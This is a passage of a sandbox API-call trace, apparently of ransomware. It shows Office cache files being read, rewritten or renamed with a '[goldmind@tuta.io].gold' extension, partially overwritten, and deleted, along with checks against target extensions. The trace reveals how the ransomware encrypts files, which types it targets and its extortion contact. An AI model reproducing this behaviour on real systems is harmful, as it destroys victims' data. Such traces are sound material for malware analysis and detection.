Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.325] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.325] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.325] GetLastError () returned 0x0 [0043.325] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0043.441] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0043.443] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.443] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0043.443] SetEndOfFile (hFile=0x208) returned 1 [0043.443] CloseHandle (hObject=0x208) returned 1 [0043.443] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.443] SetEndOfFile (hFile=0x1a0) returned 1 [0043.445] CloseHandle (hObject=0x1a0) returned 1 [0043.445] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.445] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0043.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.445] lstrlenW (lpString=".doc") returned 4 [0043.445] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0043.445] lstrlenW (lpString=".docx") returned 5 [0043.445] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0043.445] lstrlenW (lpString=".pdf") returned 4 [0043.445] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0043.445] lstrlenW (lpString=".xls") returned 4 [0043.445] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0043.445] lstrlenW (lpString=".xlsx") returned 5 [0043.445] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0043.445] lstrlenW (lpString=".ppt") returned 4 [0043.445] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0043.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.445] lstrlenW (lpString=".zip") returned 4 [0043.445] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString=".rar") returned 4 [0043.446] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString=".bz2") returned 4 [0043.446] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString=".7z") returned 3 [0043.446] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".dbf") returned 4 [0043.446] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".1cd") returned 4 [0043.446] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".jpg") returned 4 [0043.446] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".doc") returned 4 [0043.446] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString=".docx") returned 5 [0043.446] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0043.446] lstrlenW (lpString=".pdf") returned 4 [0043.446] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString=".xls") returned 4 [0043.446] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString=".xlsx") returned 5 [0043.446] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0043.446] lstrlenW (lpString=".ppt") returned 4 [0043.446] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".zip") returned 4 [0043.446] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString=".rar") returned 4 [0043.446] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0043.446] lstrlenW (lpString=".bz2") returned 4 [0043.446] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString=".7z") returned 3 [0043.446] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".dbf") returned 4 [0043.446] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.446] lstrlenW (lpString=".1cd") returned 4 [0043.446] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0043.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0043.447] lstrlenW (lpString=".jpg") returned 4 [0043.447] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0043.447] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0043.447] lstrlenW (lpString="PidGenX.dll") returned 11 [0043.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.447] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1463568) returned 1 [0043.447] CloseHandle (hObject=0x1a0) returned 1 [0043.447] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0043.447] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.447] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.447] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.448] GetLastError () returned 0x0 [0043.448] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0043.503] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0043.715] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x65520, lpOverlapped=0x0) returned 1 [0043.726] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0043.734] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.734] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.734] SetEndOfFile (hFile=0x208) returned 1 [0043.734] CloseHandle (hObject=0x208) returned 1 [0043.734] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.734] SetEndOfFile (hFile=0x1a0) returned 1 [0043.737] CloseHandle (hObject=0x1a0) returned 1 [0043.737] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.737] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0043.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.737] lstrlenW (lpString=".doc") returned 4 [0043.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.737] lstrlenW (lpString=".docx") returned 5 [0043.737] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0043.737] lstrlenW (lpString=".pdf") returned 4 [0043.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".xls") returned 4 [0043.738] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".xlsx") returned 5 [0043.738] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0043.738] lstrlenW (lpString=".ppt") returned 4 [0043.738] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".zip") returned 4 [0043.738] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".rar") returned 4 [0043.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".bz2") returned 4 [0043.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.738] lstrlenW (lpString=".7z") returned 3 [0043.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".dbf") returned 4 [0043.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".1cd") returned 4 [0043.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".jpg") returned 4 [0043.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".doc") returned 4 [0043.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".docx") returned 5 [0043.738] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0043.738] lstrlenW (lpString=".pdf") returned 4 [0043.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".xls") returned 4 [0043.738] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".xlsx") returned 5 [0043.738] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0043.738] lstrlenW (lpString=".ppt") returned 4 [0043.738] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".zip") returned 4 [0043.738] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".rar") returned 4 [0043.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.738] lstrlenW (lpString=".bz2") returned 4 [0043.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.738] lstrlenW (lpString=".7z") returned 3 [0043.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".dbf") returned 4 [0043.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.738] lstrlenW (lpString=".1cd") returned 4 [0043.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0043.739] lstrlenW (lpString=".jpg") returned 4 [0043.739] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.739] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0043.739] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0043.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.739] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=27532288) returned 1 [0043.739] CloseHandle (hObject=0x1a0) returned 1 [0043.739] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0043.739] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.739] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0043.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.740] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.740] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.740] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.743] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.743] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.748] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.748] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.748] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.989] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.989] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0044.000] SetEndOfFile (hFile=0x1a0) returned 1 [0044.010] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0044.012] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.012] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.013] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.013] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.015] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.015] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.017] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0044.017] CloseHandle (hObject=0x1a0) returned 1 [0044.017] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.017] lstrlenW (lpString=".doc") returned 4 [0044.017] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.017] lstrlenW (lpString=".docx") returned 5 [0044.017] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0044.017] lstrlenW (lpString=".pdf") returned 4 [0044.017] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.017] lstrlenW (lpString=".xls") returned 4 [0044.017] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.017] lstrlenW (lpString=".xlsx") returned 5 [0044.017] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0044.017] lstrlenW (lpString=".ppt") returned 4 [0044.017] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.017] lstrlenW (lpString=".zip") returned 4 [0044.017] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.017] lstrlenW (lpString=".rar") returned 4 [0044.017] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.017] lstrlenW (lpString=".bz2") returned 4 [0044.017] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString=".7z") returned 3 [0044.018] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".dbf") returned 4 [0044.018] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".1cd") returned 4 [0044.018] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".jpg") returned 4 [0044.018] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".doc") returned 4 [0044.018] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString=".docx") returned 5 [0044.018] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0044.018] lstrlenW (lpString=".pdf") returned 4 [0044.018] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.018] lstrlenW (lpString=".xls") returned 4 [0044.018] lstrcmpiW 